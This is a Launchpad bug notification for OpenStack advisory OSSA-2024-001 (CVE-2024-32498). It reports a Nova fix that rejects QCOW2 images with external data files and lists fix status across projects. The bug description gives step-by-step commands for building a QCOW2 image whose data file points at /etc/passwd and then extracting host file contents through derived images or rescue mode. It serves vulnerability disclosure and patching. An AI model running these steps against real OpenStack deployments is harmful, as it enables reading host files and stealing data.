[Bug 2059809] Re: [OSSA-2024-001] Arbitrary file access through QCOW2 external data file (CVE-2024-32498)

[OpenStack Infra]

Reviewed:  https://review.opendev.org/c/openstack/nova/+/923297
Committed: https://opendev.org/openstack/nova/commit/d69d441cf5d82f69d8ed7d555a6af73624866400
Submitter: "Zuul (22348)"
Branch:    unmaintained/zed

commit d69d441cf5d82f69d8ed7d555a6af73624866400
Author: Dan Smith <dansmith at redhat.com>
Date:   Mon Apr 1 07:32:11 2024 -0700

    Reject qcow files with data-file attributes
    
    Change-Id: Ic3fa16f55acc38cf6c1a4ac1dce4487225e66d04
    Closes-Bug: #2059809
    (cherry picked from commit ec9c55cbbc91d1f31e42ced289a7c82cf79dc2a2)
    (cherry picked from commit 58d933eafb3f7164419000700a305c8f75d5cb6e)
    (cherry picked from commit 736328f78fb88b6d567b94b50cd14b3ebef08a5e)
    (cherry picked from commit af4d819c606d6662d0b086365a51f5220b596e48)


** Tags added: in-unmaintained-zed

-- 
You received this bug notification because you are a member of Ubuntu
OpenStack, which is subscribed to Ubuntu Cloud Archive.
https://bugs.launchpad.net/bugs/2059809

Title:
  [OSSA-2024-001] Arbitrary file access through QCOW2 external data file
  (CVE-2024-32498)

Status in Cinder:
  Fix Released
Status in Ubuntu Cloud Archive:
  Fix Committed
Status in Ubuntu Cloud Archive antelope series:
  Fix Committed
Status in Ubuntu Cloud Archive bobcat series:
  Fix Committed
Status in Ubuntu Cloud Archive caracal series:
  Fix Committed
Status in Ubuntu Cloud Archive ussuri series:
  Fix Committed
Status in Ubuntu Cloud Archive yoga series:
  Fix Committed
Status in Glance:
  Fix Released
Status in OpenStack Compute (nova):
  Fix Released
Status in OpenStack Security Advisory:
  Fix Released

Bug description:
  OpenStack has security vulnerability in Nova or Glance, that allows an authenticated attacker to read arbitrary files.
  QCOW2 has two mechanisms to read from another file. The backing file issue was reported and fixed with OSSA-2015-014, but the external data file was not discovered.

  Steps to Reproduce:

  - Create a disk image: `qemu-img create -f qcow2 -o data_file=abcdefghigh,data_file_raw=on disk.qcow2 1G` with `abcdefghigh` a placeholder of the same length as the file to read. `qemu-img` will zero it.
  - Replace the filename in the disk image: `sed -i "s#abcdefghigh#/etc/passwd#" disk.qcow2`.
  - Upload/register the disk image: `openstack image create --disk-format qcow2 --container-format bare --file "disk.qcow2" --private "my-image"`.
  - Create a new instance: `openstack server create --flavor "nano" --image "my-image" "my-instance"`.

  With the non-bootable instance there might be two ways to continue:

  Option 1:
  - Derive a new image: `openstack server image create --name "my-leak" "my-instance"`
  - Download the image: `openstack image save --file "leak.qcow2" "my-leak"`
  - The file content starts at guest cluster 0

  Option 2: (this is untested because I reproduced it only in a production system)
  - Reboot the instance in rescue mode: `openstack server rescue --image "cirros-0.6.2-x86_64-disk" "my-instance"`.
  - Go to the Dashboard, open the console of the instance and login to the instance.
  - Extract content from `/dev/sdb` with `cat /dev/sdb | fold -w 1024 | head -n 32`, `xxd -l 1024 -c 32 /dev/sdb` or similar methods.
  - It might be possible to write to the host file. If the disk image is mounted with `qemu-nbd`, writes go through to the external data file.

To manage notifications about this bug go to:
https://bugs.launchpad.net/cinder/+bug/2059809/+subscriptions